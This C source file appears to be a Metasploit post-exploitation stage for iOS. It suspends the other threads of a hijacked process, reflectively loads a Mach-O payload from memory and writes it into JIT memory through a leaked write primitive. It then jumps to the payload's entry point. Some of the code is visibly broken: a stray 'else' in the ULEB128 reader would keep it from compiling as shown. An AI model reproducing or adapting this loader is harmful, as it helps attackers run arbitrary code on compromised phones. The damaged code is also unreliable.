#include <stdio.h>

#include <dlfcn.h>

#include <mach/mach.h>

#include <mach-o/fat.h>
#include <mach-o/loader.h>
#include <sys/mman.h>
#include <mach/vm_map.h>

#include "magic.h"

/*#define DEBUG 1*/

//asl_log isn't working, so: idevicesyslog | grep SandboxViolation
#ifdef DEBUG
#define debug_print(fmt, ...) \
  do { \
    char* buffer = malloc_func(1024); \
    sprintf_func(buffer, fmt, __VA_ARGS__); \
    fopen_func(buffer, "w"); \
    free_func(buffer); \
  } while (0)
  //do { asl_log_func(0, 0, ASL_LEVEL_ERR, fmt, __VA_ARGS__); } while (0)
#else
#define debug_print(fmt, ...)
#endif

#define DLSYM_FUNC(func, library, return_type, args...) \
  typedef return_type (*func##_ptr)(args); \
  func##_ptr func##_func = dlsym_func(library, #func);

typedef void* (*t_dlsym)(void* handle, const char* symbol);
typedef void* (*t_dlopen)(const char* library, int rtld);
void load(void* buffer, t_dlsym _dlsym, void* jitwrite, void* jitstart, void* jitend);

void init(void* dlopen_addr, void* dlsym_addr, void* jitwrite_addr, uint64_t startOfFixMem, uint64_t endOfFixMem)
{
  typedef void* (*dlsym_ptr)(void *handle, const char *symbol);
  dlsym_ptr dlsym_func = dlsym_addr;
  typedef void* (*dlopen_ptr)(const char *filename, int flags);
  dlopen_ptr dlopen_func = dlopen_addr;

  void* libsystem = dlopen_func("/usr/lib/libSystem.B.dylib", RTLD_NOW);

  // Suspend threads
  typedef mach_port_t (*mach_task_self_ptr)();
  typedef thread_port_t (*mach_thread_self_ptr)();
  typedef kern_return_t (*thread_suspend_ptr)(thread_act_t target_thread);
  typedef kern_return_t (*task_threads_ptr)(task_t task, thread_act_array_t thread_list, mach_msg_type_number_t* thread_count);
  void* libIOKit = dlopen_func("/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit", RTLD_NOW);
  mach_task_self_ptr mach_task_self_func = dlsym_func(libIOKit, "mach_task_self");
  mach_thread_self_ptr mach_thread_self_func = dlsym_func(libIOKit, "mach_thread_self");
  thread_suspend_ptr thread_suspend_func = dlsym_func(libsystem, "thread_suspend");
  task_threads_ptr task_threads_func = dlsym_func(libsystem, "task_threads");
  thread_act_t current_thread = mach_thread_self_func();
  mach_msg_type_number_t thread_count;
  thread_act_array_t thread_list;
  kern_return_t result = task_threads_func(mach_task_self_func(), (thread_act_array_t)&thread_list, &thread_count);
  if (!result && thread_count) {
    for (unsigned int i = 0; i < thread_count; ++i) {
      thread_act_t other_thread = thread_list[i];
      if (other_thread != current_thread) {
        thread_suspend_func(other_thread);
      }
    }
  }

  uint64_t payloadBuffer = endOfFixMem - (0x100000 - 0x10000);

#ifdef DEBUG
  DLSYM_FUNC(malloc, libsystem, void*, size_t)
  DLSYM_FUNC(free, libsystem, void*)
  DLSYM_FUNC(sprintf, libsystem, int, char* str, const char * format, ... );
  DLSYM_FUNC(fopen, libsystem, FILE*, const char * filename, const char * mode );
  debug_print("%s", "hello from metasploit");
  debug_print("%s", "hello from metasploit");
  debug_print("%s", "hello from metasploit");
  debug_print("%s", "hello from metasploit");
  debug_print("%s", "hello from metasploit");

  debug_print("main:%p", (void*)init);
  debug_print("end:%p", (void*)endOfFixMem);
  debug_print("buffer:%p", (void*)payloadBuffer);
  debug_print("nbuffer:%p", (void*)*(uint64_t*)payloadBuffer);
  debug_print("start:%p", (void*)startOfFixMem);
#endif

  load((void*)payloadBuffer, (t_dlsym)dlsym_func, jitwrite_addr, (void*)startOfFixMem, (void*)endOfFixMem);
}

void fail(uint64_t x) {
    *(volatile int*)(0xbad000000000ull + x) = 0xdead;
}
#define ASSERT(x) if (!(x))fail(0xa00000000ull + __LINE__)

#define MIN(x,y) ((x)<(y)?(x):(y))
#define MAX(x,y) ((x)>(y)?(x):(y))

void performJITMemcpy(t_dlsym _dlsym, void* jitwrite, void* startOfFixMem, void* dst, void* src, size_t size)
{
    typedef void (*JITWriteSeparateHeapsFunction)(off_t, const void*, size_t);
    JITWriteSeparateHeapsFunction jitWriteSeparateHeapsFunction = jitwrite;
    ASSERT(jitWriteSeparateHeapsFunction);
    ASSERT(startOfFixMem);

    int (*_memcmp)(const void *, const void*, size_t) = _dlsym(RTLD_DEFAULT, "memcmp");

    off_t offset = (off_t)((uintptr_t)dst - (uintptr_t)startOfFixMem);
    jitWriteSeparateHeapsFunction(offset, src, size);

    ASSERT(!_memcmp(dst, src, size));
}

static inline uintptr_t read_uleb128(uint8_t** pp, uint8_t* end)
{
    uint8_t* p = *pp;
    uint64_t result = 0;
    int         bit = 0;
    do {
        ASSERT(p != end);
        uint64_t slice = *p & 0x7f;
        ASSERT(bit <= 63);
        else {
            result |= (slice << bit);
            bit += 7;
        }
    } while (*p++ & 0x80);

    *pp = p;
    return result;
}

static inline uintptr_t read_sleb128(uint8_t** pp, uint8_t* end)
{
    uint8_t* p = *pp;
    int64_t result = 0;
    int bit = 0;
    uint8_t byte;
    do {
        ASSERT(p != end);
        byte = *p++;
        result |= (((int64_t)(byte & 0x7f)) << bit);
        bit += 7;
    } while (byte & 0x80);
    // sign extend negative numbers
    if ( (byte & 0x40) != 0 )
        result |= (-1LL) << bit;
    *pp = p;
    return result;
}

// <3 qwerty
void rebase(struct dyld_info_command* dyld_info,
            uint8_t* map,
            uintptr_t* segstart,
            uintptr_t linkedit_base,
            uintptr_t reloc_slide) {
    uint8_t* start = map + dyld_info->rebase_off + linkedit_base;
    uint8_t* end = start + dyld_info->rebase_size;
    uintptr_t address = (uintptr_t)map;
    uintptr_t count = 0, skip = 0;
    char done = 0;
    uint8_t* p = start;
    while (!done && (p < end)) {
        uint8_t immediate = *p & REBASE_IMMEDIATE_MASK;
        uint8_t opcode = *p & REBASE_OPCODE_MASK;
        ++p;

        switch (opcode) {
            case REBASE_OPCODE_DONE:
                done = 1;
                break;
            case REBASE_OPCODE_SET_TYPE_IMM:
                ASSERT(immediate == REBASE_TYPE_POINTER);
                break;
            case REBASE_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB:
                address = (uintptr_t)(map + segstart[immediate] + read_uleb128(&p, end));
                break;
            case REBASE_OPCODE_ADD_ADDR_ULEB:
                address += read_uleb128(&p, end);
                break;
            case REBASE_OPCODE_ADD_ADDR_IMM_SCALED:
                address += immediate * sizeof(uintptr_t);
                break;
            case REBASE_OPCODE_DO_REBASE_IMM_TIMES:
                for (int i=0; i < immediate; ++i) {
                    *(uintptr_t*)(address) += reloc_slide;
                    address += sizeof(uintptr_t);
                }
                break;
            case REBASE_OPCODE_DO_REBASE_ULEB_TIMES:
                count = read_uleb128(&p, end);
                for (int i = 0; i < count; ++i) {
                    *(uintptr_t*)(address) += reloc_slide;
                    address += sizeof(uintptr_t);
                }
                break;
            case REBASE_OPCODE_DO_REBASE_ADD_ADDR_ULEB:
                *(uintptr_t*)(address) += reloc_slide;
                address += read_uleb128(&p, end) + sizeof(uintptr_t);

                break;
            case REBASE_OPCODE_DO_REBASE_ULEB_TIMES_SKIPPING_ULEB:
                count = read_uleb128(&p, end);
                skip = read_uleb128(&p, end);
                for (int i = 0; i < count; ++i) {
                    *(uintptr_t*)address += reloc_slide;
                    address += skip + sizeof(uintptr_t);
                }
                break;

            default:
                ASSERT(0);
                break;
        }
    }
}

void bindit(struct dyld_info_command* dyld_info,
            uint8_t* map,
            uintptr_t* segstart,
            uintptr_t linkedit_base,
            t_dlsym _dlsym) {
    uint8_t* start = map + dyld_info->bind_off + linkedit_base;
    uint8_t* end = start + dyld_info->bind_size;
    uintptr_t address = (uintptr_t)map;
    uintptr_t count = 0, skip = 0;
    char done = 0;
    unsigned char type = 0;
    uint8_t* p = start;
    char* symbolName=0;

    while (!done && (p < end)) {
        uint8_t immediate = *p & BIND_IMMEDIATE_MASK;
        uint8_t opcode = *p & BIND_OPCODE_MASK;
        ++p;
        switch (opcode) {
            case BIND_OPCODE_DONE:
                done = 1;
                break;
            case BIND_OPCODE_SET_DYLIB_ORDINAL_IMM:
                break;
            case BIND_OPCODE_SET_DYLIB_ORDINAL_ULEB:
                read_uleb128(&p, end);
                break;
            case BIND_OPCODE_SET_DYLIB_SPECIAL_IMM:
                break;
            case BIND_OPCODE_SET_SYMBOL_TRAILING_FLAGS_IMM:
                symbolName = (char*)p;
                while (*p != '\0')
                    ++p;
                ++p;
                break;
            case BIND_OPCODE_SET_TYPE_IMM:
                break;
            case BIND_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB:
                address = (uintptr_t)(map + segstart[immediate] + read_uleb128(&p, end));
                break;
            case BIND_OPCODE_SET_ADDEND_SLEB:
                read_sleb128(&p, end);
                break;
            case BIND_OPCODE_ADD_ADDR_ULEB:
                address += read_uleb128(&p, end);
                break;
            case BIND_OPCODE_DO_BIND:
                *(uintptr_t*)address = (uintptr_t)_dlsym(RTLD_DEFAULT, symbolName+1);
                address += sizeof(uintptr_t);
                break;
            case BIND_OPCODE_DO_BIND_ADD_ADDR_ULEB:
                *(uintptr_t*)address = (uintptr_t)_dlsym(RTLD_DEFAULT, symbolName+1);
                address += read_uleb128(&p, end) + sizeof(uintptr_t);
                break;
            case BIND_OPCODE_DO_BIND_ADD_ADDR_IMM_SCALED:
                *(uintptr_t*)address = (uintptr_t)_dlsym(RTLD_DEFAULT, symbolName+1);
                address += (immediate + 1) * sizeof(uintptr_t);
                break;
            case BIND_OPCODE_DO_BIND_ULEB_TIMES_SKIPPING_ULEB:
                count = read_uleb128(&p, end);
                skip = read_uleb128(&p, end);
                for (uint32_t i = 0; i < count; ++i) {
                    *(uintptr_t*)address = (uintptr_t)_dlsym(RTLD_DEFAULT, symbolName+1);
                    address += skip + sizeof(uintptr_t);
                }
                break;
            default:
                ASSERT(0);
        }
    }
}

void load(void* buffer, t_dlsym _dlsym, void* jitwrite, void* jitstart, void* jitend)
{
#   define FOR_COMMAND \
        lc = (void*)(header + 1); \
        for (int i = 0; i < header->ncmds; ++i, lc = (void*)((char*)lc + lc->cmdsize)) { \

#   define FOR_SEGMENT_64 \
        FOR_COMMAND \
            if (lc->cmd != LC_SEGMENT_64) \
                continue; \
            struct segment_command_64* sc = (void*)lc; \
            if (!_strcmp(sc->segname, "__PAGEZERO")) \
                continue;

    void* (*_mmap)(void *addr, size_t len, int prot, int flags, int fd, off_t offset);
    void* (*_memcpy)(void *restrict dst, const void *restrict src, size_t n);
    int (*_strcmp)(const char *s1, const char *s2);

    _mmap = _dlsym(RTLD_DEFAULT, "mmap");
    _memcpy = _dlsym(RTLD_DEFAULT, "memcpy");
    _strcmp = _dlsym(RTLD_DEFAULT, "strcmp");

    uintptr_t exec_base = -1, exec_end = 0,
             write_base = -1, write_end = 0,
             base = -1, end = 0;

    uint32_t* x = (uint32_t*)buffer;
    while (*x != 0xfeedfacf)
        x--;

    struct mach_header_64* header = (struct mach_header_64*)x;
    struct load_command* lc;
    uintptr_t linkedit_base = 0;
    uintptr_t segstart[32];
    int segcnt = 0;

    FOR_SEGMENT_64
        uintptr_t from = sc->vmaddr, to = from + sc->vmsize;
        segstart[segcnt++] = from;
        if (!_strcmp(sc->segname, "__LINKEDIT"))
            linkedit_base = sc->vmaddr - sc->fileoff;
        if (sc->initprot & VM_PROT_EXECUTE) {
            exec_base = MIN(exec_base, from);
            exec_end = MAX(exec_end, to);
        }
        if (sc->initprot & VM_PROT_WRITE) {
            write_base = MIN(write_base, from);
            write_end = MAX(write_end, to);
        }
        base = MIN(base, from);
        end = MAX(end, to);
    }

    uint8_t* tmpmap = _mmap(0, end - base, PROT_WRITE | PROT_READ,
            MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    ASSERT(tmpmap);

    FOR_SEGMENT_64
        _memcpy(tmpmap + sc->vmaddr, (char*)header + sc->fileoff, sc->filesize);
    }

    ASSERT(write_base >= exec_end);
    void* rw = _mmap(jitend, end - write_base, PROT_READ|PROT_WRITE,
                    MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    ASSERT(rw == jitend);

    uint8_t* finalmap = jitend - write_base + base;

    uintptr_t reloc_slide = (uintptr_t)finalmap;

    FOR_COMMAND
        if (lc->cmd == LC_DYLD_INFO_ONLY || lc->cmd == LC_DYLD_INFO) {
            rebase((void*)lc, tmpmap, segstart, linkedit_base, reloc_slide);
            bindit((void*)lc, tmpmap, segstart, linkedit_base, _dlsym);
        }
    }

    if (jitwrite && jitstart) {
        performJITMemcpy(_dlsym, jitwrite, jitstart, finalmap, tmpmap, write_base - base);
    } else {
        _memcpy(finalmap, tmpmap, (write_base - base) - 1);
    }
    _memcpy(rw, tmpmap + write_base - base, end - write_base);

    void (*entrypoint)();
    FOR_SEGMENT_64
        uint64_t* x = (void*)(finalmap + sc->vmaddr);
        while ((char*)x != (char*)(finalmap + sc->vmaddr + sc->vmsize)) {
            if (*x == MAGIC) {
                entrypoint = (void*)*(x+1);
                goto found_entrypoint;
            }
            x++;
        }
    }

found_entrypoint:

    entrypoint();
}

int main()
{
  return 0;
}